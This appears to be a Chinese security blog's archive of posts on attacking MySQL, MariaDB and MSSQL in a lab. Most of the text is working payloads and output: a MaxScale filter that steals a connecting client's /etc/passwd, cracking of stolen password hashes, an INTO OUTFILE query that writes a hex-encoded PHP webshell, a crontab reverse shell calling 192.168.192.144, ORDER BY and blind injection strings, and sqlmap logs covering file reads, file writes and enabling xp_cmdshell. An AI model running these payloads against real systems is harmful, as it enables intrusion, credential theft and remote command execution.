标签归档:mysql

MariaDB蜜罐测试

环境搭建:

首先安装MariaDB,安装步骤见之前文章。然后安装maxscale,maxscale是mariadb公司开发的一套数据库中间件。
maxscale rpm包下载地址:
https://downloads.mariadb.com/MaxScale/2.1.0/centos/6Server/x86_64/maxscale-2.1.0-1.centos.6.x86_64.rpm
10.200.1.112为Mariadb所在服务器

[root@kafka112 tmp]# yum install maxscale-2.1.0-1.centos.6.x86_64.rpm

maxscale.conf的配置文件如下:

------------------------------------------------
[maxscale]
threads=1

[server1]
type=server
address=127.0.0.1
port=3306
protocol=MySQLBackend

[EvilFilter]
type=filter
module=regexfilter
options=ignorecase
match=.*server_id.*
replace=LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test.loot

[Read-Connection-Router]
type=service
router=readconnroute
servers=server1
user=root
passwd=Hehe123456
filters=EvilFilter

[Read-Connection-Listener]
type=listener
service=Read-Connection-Router
protocol=MySQLClient
port=4008

[MySQL-Monitor]
type=monitor
module=mysqlmon
servers=server1
user=root
passwd=Hehe123456
monitor_interval=1000
------------------------------------------------

在10.200.1.111上创建账户mariadb

[root@kafka111 ~]# useradd mariadb
[root@kafka111 ~]# cat /etc/passwd |grep mariadb
mariadb:x:667:667::/home/mariadb:/bin/bash

在10.200.1.111上连接10.200.1.112的4008端口

mysql -h 10.200.1.112 -u root -P 4008 -p
mysql> use test;
Database changed
mysql> create table loot (name varchar(5000));
Query OK, 0 rows affected (0.04 sec)

配置文件中的正则:.*server_id.* 匹配上后会执行LOAD DATA LOCAL INFILE ‘/etc/passwd’ INTO TABLE test.loot

mysql> select @@server_id;
Query OK, 31 rows affected (0.01 sec)
Records: 31 Deleted: 0 Skipped: 0 Warnings: 0
mysql> select * from loot where name like "%mariadb%";
+--------------------------------------------+
| name |
+--------------------------------------------+
| mariadb:x:667:667::/home/mariadb:/bin/bash |
+--------------------------------------------+
1 row in set (0.00 sec)

可以看到客户端的/etc/passwd内容写入到表loot中。


参考文章:

http://www.freebuf.com/sectool/128947.html

提权后的MYSQL密码破解

经常在服务器提权的时候,尤其是windows环境下,我们发现权限不高,却可以读取mysql的datadir目录,并且能够成功下载user.MYD这个文件。
将服务器上以下三个文件拷贝到本地。
[root@server120 run]# cd /var/lib/mysql/mysql/user.
user.frm user.MYD user.MYI
然后重启Mysql服务
[root@vincenthostname tmp]# service mysqld stop
停止 mysqld: [确定]
[root@vincenthostname tmp]# /usr/bin/mysqld_safe –skip-grant-tables &
[1] 55085
[root@vincenthostname tmp]# 160601 20:39:17 mysqld_safe Logging to ‘/var/log/mysqld.log’.
160601 20:39:17 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql
然后就可以查看Hash
mysql> select user,password from user;
+——+——————————————-+
| user | password |
+——+——————————————-+
| root | *381A54AC52B74063187B5D183AB89082B0620C45 |
| root | |
| root | |
| | |
| | |
+——+——————————————-+
5 rows in set (0.01 sec)
然后我们使用cain进制破解
选择Cracker–>Mysql Hasher–>Add to list 添加username和Hash

123

右键点击新增的条目选择第一个字典破解Mysql SHA1 Hashes,然后添加一个字典

123

在“Options(选项)”中一共有8种方式即:
(1)字符串首字母大写
(2)字符串反转
(3)双倍字符串
(4)字符串全部小写
(5)字符串全部大写
(6)在字符串中加入数字
(7)在每个字符串中进行大写轮换
(8)在字符串中加入2个数字
这里我们选择字符串全部小写,破解成功

123

另外Cain还有密文计算器

123

mysql密码加密方式

mysql密码加密方式:
MySQL数据库的认证密码有两种方式,
MySQL 4.1版本之前是MySQL323加密,MySQL 4.1和之后的版本都是MySQLSHA1加密,
MySQL数据库中自带Old_Password(str)和Password(str)函数,它们均可以在MySQL数据库里进行查询,前者是MySQL323加密,后者是MySQLSHA1方式加密。
1)以MySQL323方式加密

select old_password('111111');
mysql> select old_password('111111');
+------------------------+
| old_password('111111') |
+------------------------+
| 5fcc735428e45938 |
+------------------------+
1 row in set (0.00 sec)

2)以MySQLSHA1方式加密

mysql> select password('hehe123');
+-------------------------------------------+
| password('hehe123') |
+-------------------------------------------+
| *E2F0F2B44618A79B15A6FD6B0941AC2D7C0173E6 |
+-------------------------------------------+
1 row in set (0.00 sec)

MySQL实际上是使用了两次SHA1夹杂一次unhex的方式对用户密码进行了加密。具体的算法可以用公式表示:password_str = concat(‘*’, sha1(unhex(sha1(password)))) 我们可以用下面的方法做个简单的验证。

mysql> select password('mypassword'),concat('*',sha1(unhex(sha1('mypassword'))));
+-------------------------------------------+---------------------------------------------+
| password('mypassword') | concat('*',sha1(unhex(sha1('mypassword')))) |
+-------------------------------------------+---------------------------------------------+
| *FABE5482D5AADF36D028AC443D117BE1180B9725 | *fabe5482d5aadf36d028ac443d117be1180b9725 |
+-------------------------------------------+---------------------------------------------+
1 row in set (0.00 sec)

MYSQL323加密中生成的是16位字符串,而在MySQLSHA1中生存的是41位字符串,其中*是不加入实际的密码运算中,通过观察在很多用户中都携带了”*”,在实际破解过程中去掉”*”,也就是说MySQLSHA1加密的密码的实际位数是40位。

【SQL注入】Mysql利用outfile()写shell

mysql> select 0x3c3f706870206576616c28245f504f53545b277a275d293b3f3e,2,3,4 from mysql.user into outfile '/var/www/html/z.php';
[root@server120 html]# ll | grep z.php
-rw-rw-rw- 1 mysql mysql 198 6月 20 16:35 z.php

可以看到属主和属组都是mysql
限制条件:
1)需要知道Web目录的绝对路径。
2)需要mysql用户有file权限,file权限限制在MySQL服务器上读写文件。grant file on *.* to root@localhost;
3)因为执行时以mysql用户去执行,所以mysql用户需要有Web目录的写权限。

这里如果Mysql是Root权限启动的话,能否像Redis一样,通过写crontab来反弹shell呢。

mysql> select * from test where 0 union select '* * * * * bash -i >& /dev/tcp/192.168.192.144/2345 0>&1' into outfile '/var/spool/cron/mysql';
Query OK, 1 row affected (0.00 sec)

然后我们看一下/var/spool/cron/mysql

[root@server120 cron]# ll /var/spool/cron/mysql
-rw-rw-rw- 1 root root 56 6月 23 15:44 /var/spool/cron/mysql

然后看一下cron日志,发现提示BAD FILE MODE即文件的权限不对

Jun 23 15:45:01 server120 crond[1725]: (mysql) BAD FILE MODE (/var/spool/cron/mysql)

正常添加的定时任务权限为600

[root@server120 ~]# ll /var/spool/cron/ | grep vincen
-rw------- 1 vincen vincen 17 6月 23 16:03 vincen

所以mysql通过outfile写crontab来反弹shell是无法实现的。

【SQL注入】Mysql Order by注入

对于大多数的程序员而言,参数化查询、预编译处理能够解决大部分的注入问题,以PHP为例:

<?php 

    header("Content-type:text/html;charset=utf-8"); 

    $mysqli = new mysqli("127.0.0.1", "root", "123456", "test"); 

    if($mysqli->connect_error){ 

        die($mysqli->connect_error); 

        exit(); 

    } 

    $sql = "select num,name,class from user where name = ?"; 

    $mysqli_stmt = $mysqli->prepare($sql); 

    $name = $_GET['name']; 

    $mysqli_stmt->bind_param("s",$name); 

    $mysqli_stmt->bind_result($num,$name,$class);  

    $mysqli_stmt->execute(); 

    while ($mysqli_stmt->fetch()){ 

        echo "--$num--$name--$class<br/>"; 

    } 

    $mysqli_stmt->close(); 

    $mysqli->close();   

?>

这里bind_param类型

http://192.168.192.120/mysql.php?name=vincent

日志输出:

30 Connect  root@localhost on test

30 Prepare select num,name,class from user where name = ?

30 Execute select num,name,class from user where name = 'vincent'

30 Close stmt 

30 Quit

http://192.168.192.120/mysql.php?name=vincent’ or ‘1’=’1

日志输出:

31 Connect  root@localhost on test

31 Prepare select num,name,class from user where name = ?

31 Execute select num,name,class from user where name = 'vincent\' or \'1\'=\'1'

31 Close stmt 

31 Quit

可以看到单引号被转义了。

 

再来试一下int,修改程序

<?php 

    header("Content-type:text/html;charset=utf-8"); 

    $mysqli = new mysqli("127.0.0.1", "root", "123456", "test"); 

    if($mysqli->connect_error){ 

        die($mysqli->connect_error); 

        exit(); 

    } 

    $sql = "select num,name,class from user where num = ?"; 

    $mysqli_stmt = $mysqli->prepare($sql); 

    $num = $_GET['num']; 

    $mysqli_stmt->bind_param("i",$num); 

    $mysqli_stmt->bind_result($num,$name,$class); 

    $mysqli_stmt->execute(); 

    while ($mysqli_stmt->fetch()){ 

        echo "--$num--$name--$class<br/>"; 

    } 

    $mysqli_stmt->close(); 

    $mysqli->close();   

?>

http://192.168.192.120/mysql.php?num=1 and 1=1

日志输出:

33 Connect  root@localhost on test

33 Prepare select num,name,class from user where num = ?

33 Execute select num,name,class from user where num = 1

33 Close stmt 

33 Quit

可以看到会自动将参数转成整形处理。

 

但是并非所有环境下都适合预编译处理,例如:

select num,name,class from user order by num,name desc;

如果使用预编译处理,order by的参数会被当做一个整体,所以此处无法使用预编译处理,导致排序注入。

排序注入检测:

1)判断返回结果顺序不同
因为order by的值需要为唯一,而select 1 from INFORMATION_SCHEMA.SCHEMATA会返回多个,所以会产生报错。

mysql> select * from user order by if((1=2),2,(select 1 from INFORMATION_SCHEMA.SCHEMATA));
ERROR 1242 (21000): Subquery returns more than 1 row
mysql> select * from user order by if((1=1),1,(select 1 from INFORMATION_SCHEMA.SCHEMATA));
+------+------+-------+
| num | name | class |
+------+------+-------+
| 2 | s | x |
| 1 | xx | yy |
+------+------+-------+
2 rows in set (0.00 sec)

case when:

http://quan.zhubajie.com/index/list-fid-5-order-(case when(1=1) then dateline else membernum end)-page-1.html
http://quan.zhubajie.com/index/list-fid-5-order-(case when(1=2) then dateline else membernum end)-page-1.html

regexp:

mysql> SELECT user,host from mysql.user order by (select 1 regexp if(1=1,1,0x00)
);
+------+-----------+
| user | host |
+------+-----------+
| root | 127.0.0.1 |
| root | localhost |
+------+-----------+
2 rows in set (0.01 sec)
mysql> SELECT user,host from mysql.user order by (select 1 regexp if(1=2,1,0x00)
);
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp

2)利用报错

updatexml:
mysql> SELECT user,host from mysql.user order by updatexml(1,if(1=1,user(),2),1)
;
ERROR 1105 (HY000): XPATH syntax error: '@localhost'

extractvalue:
mysql> SELECT user,host from mysql.user order by extractvalue(1,if(1=1,user(),2)
);
ERROR 1105 (HY000): XPATH syntax error: '@localhost'

3)基于时间
注意容易造成拒绝服务

mysql> SELECT user,host from mysql.user order by if(1=1,sleep(2),1);
+------+-----------+
| user | host |
+------+-----------+
| root | localhost |
| root | 127.0.0.1 |
+------+-----------+
2 rows in set (4.00 sec)

修复建议:
使用间接对象引用。前端传递引用数字或者字符串等,用于与后端做数组映射,这样可以隐藏数据库数据字典效果,避免直接引用带来的危害。

【SQL注入】mysql中information_schema详解

在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。


SCHEMATA表:
提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

mysql> use information_schema;
Database changed
mysql> select schema_name from schemata;
+--------------------+
| schema_name |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| phpmywind_db |
| soc |
| soc11 |
| test |
+--------------------+
7 rows in set (0.00 sec)

TABLES表:
提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。获取当前数据库中所有的表:

mysql> select group_concat(distinct table_name) from information_schema.tables where table_schema = database()\G

COLUMNS表:
提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

mysql> select group_concat(distinct column_name) from information_schema.columns where table_name = 'user'\G

mysql.user数据:

mysql> SELECT concat(user,0x2c,password) from mysql.user limit 0,1;
+------------------------------------------------+
| concat(user,0x2c,password) |
+------------------------------------------------+
| root,*E2F0F2B44618A79B15A6FD6B0941AC2D7C0173E6 |
+------------------------------------------------+
1 row in set (0.00 sec)

【SQL注入】Mysql中load_file()与模糊测试工具SQLNuke

load_file()
使用load_file查看文件需要有file权限。
新建一个mysql用户

insert into mysql.user(Host,User,Password) values("localhost","vinc",password("xxxxxx"));
flush privileges;

然后使用vinc用户登录

mysql> select load_file('/etc/hosts');
+-------------------------+
| load_file('/etc/hosts') |
+-------------------------+
| NULL |
+-------------------------+
1 row in set (0.00 sec)

然后赋予vinc账户file权限

mysql> grant file on *.* to vinc@localhost;
Query OK, 0 rows affected (0.00 sec)
mysql> show grants for 'vinc'@'localhost';
+------------------------------------------------------------------------------------------------------------+
| Grants for vinc@localhost |
+------------------------------------------------------------------------------------------------------------+
| GRANT FILE ON *.* TO 'vinc'@'localhost' IDENTIFIED BY PASSWORD '*E2F0F2B44618A79B15A6FD6B0941AC2D7C0173E6' |
+------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

然后重新连接mysql就可以读取文件了。

mysql> select load_file('/etc/hosts');
+----------------------------------------------------------------------------------------------------------------------------------------------------------------+
| load_file('/etc/hosts') |
+----------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
|
+----------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

load_file(‘/etc/passwd’)对应的16进制load_file(0x2F6574632F706173737764)

SQLNuke
SQLNuke是一款免费的开源mysql注射load_file()模糊测试工具,是用ruby语言写的,使用起来非常简单方便。
SQLNuke安装和基本用法:

安装SqlNuke之前,需要确保安装了Git和Ruby,因为它是用ruby语言写的,同时需要git命令来克隆SqlNuke库到本地。

git库址:
yum install git
git clone https://github.com/nuke99/sqlnuke.git
yum install ruby

要使用SQLNuke,进入它所在目录,使用./sql.rb启动它。

-u, --url URL Link with 'XxxX' ex: http://tar.com/?id=1+UNION+SELECT+1,XxxX,2--
-d, --data DATA POST DATA ex: id=-1+Union+Select+null,XxxX,null--&name=John
-x, --hex Hex Conversion
--proxy http://IP:PORT HTTP Proxy
--os (linux,win) Target Server OS (linux,win)
--agent AGENT User-Agent for the header
--ref REFERER Referer for the header
--cookie COOKIE Cookie for the header
-h, --help Information about commands

这里我们使用dvwa

[root@server120 sqlnuke]# ./sql.rb -u "http://192.168.192.120/dvwa/vulnerabilities/sqli/?id=-1%27+UNION+SELECT+1,XxxX--%20&Submit=Submit#" --cookie "security=low; PHPSESSID=gephgrt1pia3inp2ksol8m9et6"
[+] Cookie is set for security=low; PHPSESSID=gephgrt1pia3inp2ksol8m9et6
[!] No OS selected, Continue with all the possibilities
[200] - [Failed] /etc/apache2/sites-available/default
[200] - [Failed] /etc/apache/httpd.conf
[200] - [Success] /etc/httpd/conf/httpd.conf

可以在packset.lst文件中添加路径,增加测试payload。

【SQL注入】mysql dumpfile 与 outfile 函数的区别

先看下outfile:

mysql> select host from mysql.user into outfile '/tmp/user.txt';
Query OK, 5 rows affected (0.00 sec)
[root@server120 html]# cat /tmp/user.txt
127.0.0.1
localhost
localhost
server120
server120

然后试下dumpfile

mysql> select host from mysql.user into dumpfile '/tmp/user1.txt';
ERROR 1172 (42000): Result consisted of more than one row

只能导出一行内容

若我们想把一个可执行2进制文件用into outfile函数导出,导出后就会被破坏,因为into outfile函数会在行末端写入新行,并且会会转义换行符这样的话这个2进制可执行文件就会被破坏。这时候我们用into dumpfile 就能导出一个完整能执行的2进制文件,into dumpfile 函数不对任何列或行进行终止,也不执行任何转义处理。在udf提权的时候用到的就是dumpfile。

sqlmap mysql payload总结

SQLMAP的几种注入类型:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。B
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。T
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。

布尔盲注


默认情况下Sqlmap是level 1和risk 1,布尔盲注只会尝试And语句,所以存在布尔盲注的前提是存在查询结果的。
但是测试发现,如果不加上–level 3,无法识别存在SQL注入。SQL语句如下:

SELECT first_name, last_name FROM users WHERE user_id = '$id'

提交参数1,本身是存在查询结果的,返回的Content-Length:4824
Sqlmap提交的payload如下:

1' AND 8299=7983 AND 'GVwj'='GVwj
Content-length: 4778
1' AND 5800=5800 AND 'xcJr'='xcJr
Content-length: 4824

可以看到两个请求的Content-Length不同,此处是存在SQL注入的,但是这里Sqlmap却没有判断存在注入。

E:\Python27\sqlmap>python sqlmap.py -r r.txt --current-user --technique B -p id --batch -v 5 > E:\mysql.log
[11:28:42] [WARNING] GET parameter 'id' does not seem to be injectable

而加上–risk 3,使用OR语句就可以

E:\Python27\sqlmap>python sqlmap.py -r r.txt --current-user --technique B -p id --batch -v 5 --risk 3 > E:\mysql.log
[11:41:39] [PAYLOAD] -4060
Content-length: 4778
[11:41:39] [PAYLOAD] -9307') OR 9390=1031 AND ('jVsv'='jVsv
Content-length: 4778
[11:41:40] [PAYLOAD] -2405' OR 2993=2993 AND 'NMMk'='NMMk
Content-length: 5005
[11:41:40] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable (with --string="Me")
GET parameter 'id' is vulnerable.

具体的payload如下:
当前用户
二分法比对ascii值

[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>64 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>96 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>112 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>120 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>116 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>114 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>113 AND 'idvA'='idvA

数据库

[11:58:32] [INFO] fetching number of databases
[11:58:32] [PAYLOAD] -7057' OR ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>1 AND 'nOyy'='nOyy
[11:58:32] [INFO] retrieved: 5
[11:58:32] [PAYLOAD] -2607' OR ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),1,1))>64 AND 'beOk'='beOk

Test数据库中的表

[13:46:58] [INFO] fetching number of tables for database 'test'
[13:46:58] [PAYLOAD] -5772' OR ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x74657374),2,1))>1 AND 'CuUY'='CuUY
[13:46:58] [INFO] retrieved: 2
[13:46:58] [PAYLOAD] -5940' OR ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x74657374 LIMIT 0,1),1,1))>64 AND 'UtVj'='UtVj

Test数据库vinc表字段

[13:53:44] [INFO] fetching columns for table 'vinc' in database 'test'
[13:53:44] [PAYLOAD] -9033' OR ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x76696e63 AND table_schema=0x74657374),2,1))>1 AND 'UlEP'='UlEP
[13:53:44] [INFO] retrieved: 3
[13:53:44] [PAYLOAD] -3060' OR ORD(MID((SELECT IFNULL(CAST(column_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x76696e63 AND table_schema=0x74657374 LIMIT 0,1),1,1))>64 AND 'Nanq'='Nanq

获取Test数据库vinc表内容

[13:53:45] [INFO] fetching entries for table 'vinc' in database 'test'
[13:53:45] [INFO] fetching number of entries for table 'vinc' in database 'test'
[13:53:45] [PAYLOAD] -3600' OR ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM test.vinc),2,1))>1 AND 'xJsR'='xJsR
[13:53:45] [INFO] retrieved: 3

然后逐字符逐个字段逐行获取数据

[13:53:45] [PAYLOAD] -6761' OR ORD(MID((SELECT IFNULL(CAST(class AS CHAR),0x20) FROM test.vinc ORDER BY id LIMIT 0,1),1,1))>64 AND 'yemA'='yemA
[13:53:45] [PAYLOAD] -5630' OR ORD(MID((SELECT IFNULL(CAST(id AS CHAR),0x20) FROM test.vinc ORDER BY id LIMIT 0,1),1,1))>64 AND 'nQBD'='nQBD
[13:53:45] [PAYLOAD] -5362' OR ORD(MID((SELECT IFNULL(CAST(name AS CHAR),0x20) FROM test.vinc ORDER BY id LIMIT 0,1),1,1))>64 AND 'qPiu'='qPiu

时间盲注


时间盲注和布尔盲注Payload类似,因为都无法通过页面回显出数据,只能通过读取Ascii的方式。

[14:00:53] [PAYLOAD] 1' AND 2016=IF((89 88),SLEEP(5),2016) AND 'Iakl'='Iakl

报错注入


1' AND (SELECT 5776 FROM(SELECT COUNT(*),CONCAT(0x7162767a71,(SELECT (ELT(5776=5776,1))),0x71717a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'dMzi'='dMzi

ELT(N,str1,str2,str3,…)
如果N =1返回str1,如果N= 2返回str2,等等。返回NULL如果参数的数量小于1或大于N

1' AND ( SELECT 5776 FROM(SELECT COUNT(*),CONCAT(0x7162767a71,(select concat_ws(0x5e,id,name,class) from test.vinc limit 0,1),0x71717a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a ) AND 'dMzi'='dMzi

Union注入


union会自动压缩多个结果集合中的重复结果
union all则将所有的结果全部显示出来,不管是不是重复

数据库

[14:36:25] [PAYLOAD] 1' UNION ALL SELECT CONCAT(0x7162767a71,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x71717a7671),NULL-- aIGI

Test数据库vinc表数据

[14:41:02] [PAYLOAD] 1' UNION ALL SELECT CONCAT(0x7162767a71,IFNULL(CAST(class AS CHAR),0x20),0x677777637a6d,IFNULL(CAST(id AS CHAR),0x20),0x677777637a6d,IFNULL(CAST(name AS CHAR),0x20),0x71717a7671),NULL FROM test.vinc-- GrQp

堆查询注入


Mysql一般不支持多语句

【Sqlmap】file-read and file-write

–file-read


当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。
Mysql

E:\Python27\sqlmap>python sqlmap.py -r r.txt --file-read "/etc/passwd" -v 3
[14:36:26] [INFO] fingerprinting the back-end DBMS operating system
[14:36:26] [PAYLOAD] 1' UNION ALL SELECT NULL,CONCAT(0x71706b7871,(CASE WHEN (0x57=UPPER(MID(@@version_compile_os,1,1))) THEN 1 ELSE 0 END),0x71707a7a71)-- skrs

[14:36:26] [WARNING] reflective value(s) found and filtering out
[14:36:26] [DEBUG] performed 1 queries in 0.02 seconds
[14:36:26] [INFO] the back-end DBMS operating system is Linux
[14:36:26] [DEBUG] going to read the file with a non-stacked query SQL injection technique
[14:36:26] [INFO] fetching file: '/etc/passwd'
[14:36:26] [PAYLOAD] 1' UNION ALL SELECT NULL,CONCAT(0x71706b7871,IFNULL(CAST(HEX(LOAD_FILE(0x2f6574632f706173737764)) AS CHAR),0x20),0x71707a7a71)-- pgzu
[14:36:26] [DEBUG] performed 1 queries in 0.02 seconds

 

Mssql
BULK INSERT以用户指定的格式复制一个数据文件至数据库表或视图中。

[14:53:20] [INFO] fetching file: 'C:/pass.txt'
[14:53:20] [PAYLOAD] xxxxx';DROP TABLE sqlmapfile--
[14:53:20] [PAYLOAD] xxxxx';CREATE TABLE sqlmapfile(data text)--
[14:53:20] [PAYLOAD] xxxxx';DROP TABLE sqlmapfilehex--
[14:53:20] [PAYLOAD] xxxxx';CREATE TABLE sqlmapfilehex(id INT IDENTITY(1, 1) PRIMARY KEY, data VARCHAR(4096))--
[14:53:20] [DEBUG] loading the content of file 'C:/pass.txt' into support table
[14:53:20] [PAYLOAD] xxxxx';BULK INSERT sqlmapfile FROM 'C:/pass.txt' WITH (CODEPAGE='RAW', FIELDTERMINATOR='ECPYscXqbX',ROWTERMINATOR='mrvcIRNcNx')--

然后是转换为16进制

[14:53:20] [PAYLOAD] xxxxx';DECLARE @charset VARCHAR(16) DECLARE @counter INT DECLARE @hexstr VARCHAR(4096) DECLARE @length INT DECLARE @chunk INT SET @charset = '0123456789ABCDEF' SET @counter = 1 SET @hexstr = '' SET @length = (SELECT DATALENGTH(data) FROM sqlmapfile) SET @chunk = 1024 WHILE (@counter <= @length) BEGIN DECLARE @tempint INT DECLARE @firstint INT DECLARE @secondint INT SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(data, @counter, 1)) FROM sqlmapfile)) SET @firstint = floor(@tempint/16) SET @secondint = @tempint - (@firstint * 16) SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) SET @counter = @counter + 1 IF @counter % @chunk = 0 BEGIN INSERT INTO sqlmapfilehex(data) VALUES(@hexstr) SET @hexstr = '' END END IF @counter % (@chunk) != 0 BEGIN INSERT INTO sqlmapfilehex(data) VALUES(@hexstr) END --

这段太长,实际执行的是:

DECLARE @charset VARCHAR(16) 
DECLARE @counter INT 
DECLARE @hexstr VARCHAR(4096) 
DECLARE @length INT 
DECLARE @chunk INT 
SET @charset = '0123456789ABCDEF' 
SET @counter = 1 
SET @hexstr = '' 
SET @length = (SELECT DATALENGTH(data) FROM sqlmapfile) 
SET @chunk = 1024 
WHILE (@counter <= @length) 
BEGIN 
DECLARE @tempint INT 
DECLARE @firstint INT 
DECLARE @secondint INT 
SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(data, @counter, 1)) FROM sqlmapfile)) 
SET @firstint = floor(@tempint/16) 
SET @secondint = @tempint - (@firstint * 16) 
SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) 
SET @counter = @counter + 1 
IF @counter % @chunk = 0 
BEGIN 
INSERT INTO sqlmapfilehex(data) VALUES(@hexstr) SET @hexstr = '' 
END 
END 
IF @counter % (@chunk) != 0 
BEGIN 
INSERT INTO sqlmapfilehex(data) VALUES(@hexstr) 
END --

 

[14:53:20] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[14:53:20] [PAYLOAD] xxxxx' AND 4689 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(COUNT(*) AS NVARCHAR(4000)),CHAR(32)) FROM sqlmapfilehex)+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113)))-- jpEC

[14:53:20] [DEBUG] performed 1 queries in 0.13 seconds
[14:53:20] [PAYLOAD] xxxxx' AND 3925 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(data AS NVARCHAR(4000)),
CHAR(32))),1,1024) FROM sqlmapfilehex WHERE data NOT IN (SELECT TOP 0 data FROM sqlmapfilehex ORDER BY id ASC) ORDER BY id ASC)+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113)))-- pyFU

 

–file-write,–file-dest


当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。
Mysql
Mysql使用的是into dumpfile。

E:\Python27\sqlmap>python sqlmap.py -r r.txt --file-write "C:\pass.txt" --file-dest "/tmp/123" -v 3
[15:49:12] [INFO] fingerprinting the back-end DBMS operating system
[15:49:12] [DEBUG] performed 0 queries in 0.00 seconds
[15:49:12] [INFO] the back-end DBMS operating system is Linux
[15:49:12] [DEBUG] going to upload the file 'binary' with UNION query SQL injection technique
[15:49:12] [DEBUG] encoding file to its hexadecimal string value
[15:49:12] [DEBUG] exporting the binary file content to file '/tmp/123'
[15:49:12] [PAYLOAD] -7595' UNION ALL SELECT 0x48656865313233343536,NULL INTO DUMPFILE '/tmp/123'-- JTLs

Mssql
Mssql上传文件需要使用xp_cmdshell,首先是启用xp_cmdshell

[15:52:01] [PAYLOAD] xxxxx';DECLARE @rkfp VARCHAR(8000);SET @rkfp=0x70696e67202d6e203130203132372e302e302e31;EXEC master..xp_cmdshell @rkfp--
xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n]
[15:52:20] [DEBUG] configuring xp_cmdshell using sp_configure stored procedure
[15:52:20] [PAYLOAD] xxxxx';EXEC master..sp_configure 'SHOW advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'SHOW advanced options',0; RECONFIGURE WITH OVERRIDE--
[15:52:20] [PAYLOAD] xxxxx';DECLARE @aapn VARCHAR(8000);SET @aapn=0x70696e67202d6e203130203132372e302e302e31;EXEC master..xp_cmdshell @aapn--
[15:52:30] [INFO] xp_cmdshell re-enabled successfully
[15:52:30] [DEBUG] creating a support table to write commands standard output to

然后测试xp_cmdshell是否可用

[15:52:30] [PAYLOAD] xxxxx';DROP TABLE sqlmapoutput--
